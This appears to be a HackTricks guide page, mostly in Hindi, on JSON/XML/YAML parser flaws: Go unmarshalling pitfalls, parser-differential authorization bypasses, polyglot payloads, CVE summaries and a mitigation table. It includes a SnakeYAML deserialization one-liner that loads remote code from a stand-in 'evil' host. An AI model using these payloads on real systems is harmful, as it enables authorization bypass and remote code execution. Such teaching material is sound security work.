JSON, XML & Yaml Hacking & Issues

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Go JSON Decoder

Go JSON में निम्नलिखित समस्याएँ पाई गईं, हालाँकि ये अन्य भाषाओं में भी मौजूद हो सकती हैं। ये समस्याएँ इस ब्लॉग पोस्ट में प्रकाशित की गई थीं।

Go के JSON, XML, और YAML पार्सर्स में असंगतियों और असुरक्षित डिफ़ॉल्ट्स की एक लंबी श्रृंखला है जिसका दुरुपयोग प्रमाणीकरण को बायपास करने, अधिकारों को बढ़ाने, या संवेदनशील डेटा को एक्सफिल्ट्रेट करने के लिए किया जा सकता है।

(Un)Marshaling Unexpected Data

उद्देश्य उन स्ट्रक्चर्स का दुरुपयोग करना है जो हमलावर को संवेदनशील फ़ील्ड (जैसे, IsAdmin, Password) को पढ़ने/लिखने की अनुमति देते हैं।

  • Example Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • सामान्य कमजोरियाँ
  1. गायब टैग (कोई टैग नहीं = फ़ील्ड डिफ़ॉल्ट रूप से अभी भी पार्स किया जाता है):
go
type User struct {
Username string
}

पेलोड:

json
{"Username": "admin"}
  1. - का गलत उपयोग:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

पेलोड:

json
{"-": true}

✔️ फ़ील्ड को (अन)मार्शल होने से रोकने का सही तरीका:

go
type User struct {
IsAdmin bool `json:"-"`
}

Parser Differentials

उद्देश्य यह है कि विभिन्न पार्सर्स कैसे समान पेलोड को अलग-अलग तरीके से व्याख्या करते हैं, इसका लाभ उठाकर प्राधिकरण को बायपास किया जाए, जैसे कि:

  • CVE-2017-12635: Apache CouchDB बायपास डुप्लिकेट कीज़ के माध्यम से
  • 2022: Zoom 0-click RCE XML पार्सर असंगति के माध्यम से
  • GitLab 2025 SAML बायपास XML विशेषताओं के माध्यम से

1. Duplicate Fields: Go का encoding/json अंतिम फ़ील्ड लेता है।

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

अन्य पार्सर (जैसे, Java का Jackson) पहला ले सकते हैं।

2. केस असंवेदनशीलता: Go केस-असंवेदनशील है:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

यहाँ तक कि यूनिकोड ट्रिक्स भी काम करते हैं:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. क्रॉस-सेवा असंगति: कल्पना करें:

  • Go में लिखा गया प्रॉक्सी
  • Python में लिखा गया AuthZ सेवा

हमलावर भेजता है:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python UserAction को देखता है, इसे अनुमति देता है
  • Go AdminAction को देखता है, इसे निष्पादित करता है

डेटा फ़ॉर्मेट भ्रम (Polyglots)

लक्ष्य उन सिस्टमों का शोषण करना है जो फ़ॉर्मेट (JSON/XML/YAML) को मिलाते हैं या पार्सर त्रुटियों पर खुला छोड़ देते हैं जैसे:

  • CVE-2020-16250: HashiCorp Vault ने JSON को XML पार्सर के साथ पार्स किया जब STS ने XML के बजाय JSON लौटाया।

हमलावर नियंत्रित करता है:

  • Accept: application/json हेडर
  • JSON बॉडी का आंशिक नियंत्रण

Go का XML पार्सर इसे फिर भी पार्स करता है और इंजेक्ट की गई पहचान पर भरोसा करता है।

  • तैयार किया गया पेलोड:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Result:

  • Go JSON parser: Action_2 (case-insensitive + last wins)
  • YAML parser: Action_1 (case-sensitive)
  • XML parser: parses "Action_3" inside the string

उल्लेखनीय पार्सर कमजोरियाँ (2023-2025)

निम्नलिखित सार्वजनिक रूप से शोषण योग्य मुद्दे दिखाते हैं कि असुरक्षित पार्सिंग एक बहु-भाषा समस्या है — केवल एक Go समस्या नहीं।

SnakeYAML डीसिरियलाइजेशन RCE (CVE-2022-1471)

  • प्रभावित: org.yaml:snakeyaml < 2.0 (Spring-Boot, Jenkins, आदि द्वारा उपयोग किया जाता है)।
  • मूल कारण: new Constructor() मनमाने Java क्लासेस को डीसिरियलाइज करता है, जिससे गैजेट श्रृंखलाएँ बनती हैं जो दूरस्थ कोड निष्पादन में समाप्त होती हैं।
  • One-liner PoC (कमजोर होस्ट पर कैलकुलेटर खोलेगा):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Fix / Mitigation:
  1. ≥2.0 में अपग्रेड करें (डिफ़ॉल्ट रूप से SafeLoader का उपयोग करता है)।
  2. पुराने संस्करणों पर, स्पष्ट रूप से new Yaml(new SafeConstructor()) का उपयोग करें।

libyaml Double-Free (CVE-2024-35325)

  • प्रभावित: libyaml ≤0.2.5 (कई भाषा बाइंडिंग द्वारा उपयोग की जाने वाली C लाइब्रेरी)।
  • समस्या: yaml_event_delete() को दो बार कॉल करने से डबल-फ्री होती है जिसे हमलावर DoS में बदल सकते हैं या कुछ परिदृश्यों में heap शोषण कर सकते हैं।
  • स्थिति: अपस्ट्रीम ने “API misuse” के रूप में अस्वीकार कर दिया, लेकिन Linux वितरणों ने 0.2.6 पैच किया जो डिफेंसिव रूप से पॉइंटर को नल-फ्री करता है।

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • प्रभावित: Tencent RapidJSON कमिट 8269bc2 से पहले (<1.1.0-patch-22)।
  • बग: GenericReader::ParseNumber() में अनचेक्ड अंकगणित हमलावरों को विशाल संख्यात्मक लिटेरल बनाने की अनुमति देता है जो लपेटते हैं और heap को भ्रष्ट करते हैं — अंततः प्रिविलेज-एस्केलेशन को सक्षम करते हैं जब परिणामी ऑब्जेक्ट ग्राफ को प्राधिकरण निर्णयों के लिए उपयोग किया जाता है।

🔐 Mitigations (Updated)

जोखिमसुधार / सिफारिश
अज्ञात फ़ील्ड (JSON)decoder.DisallowUnknownFields()
डुप्लिकेट फ़ील्ड (JSON)❌ stdlib में कोई सुधार नहीं — jsoncheck के साथ मान्य करें
केस-इनसेंसिटिव मैच (Go)❌ कोई सुधार नहीं — संरचना टैग + पूर्व-मानकीकरण इनपुट को मान्य करें
XML गार्बेज डेटा / XXEएक हार्डन किए गए पार्सर का उपयोग करें (encoding/xml + DisallowDTD)
YAML अज्ञात कुंजीyaml.KnownFields(true)
असुरक्षित YAML डेसिरियलाइजेशनSafeConstructor का उपयोग करें / SnakeYAML ≥2.0 में अपग्रेड करें
libyaml ≤0.2.5 डबल-फ्री0.2.6 में अपग्रेड करें या डिस्ट्रीब्यूशन-पैच रिलीज करें
RapidJSON <पैच किया गया कमिटनवीनतम RapidJSON (≥जुलाई 2024) के खिलाफ संकलित करें

References

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें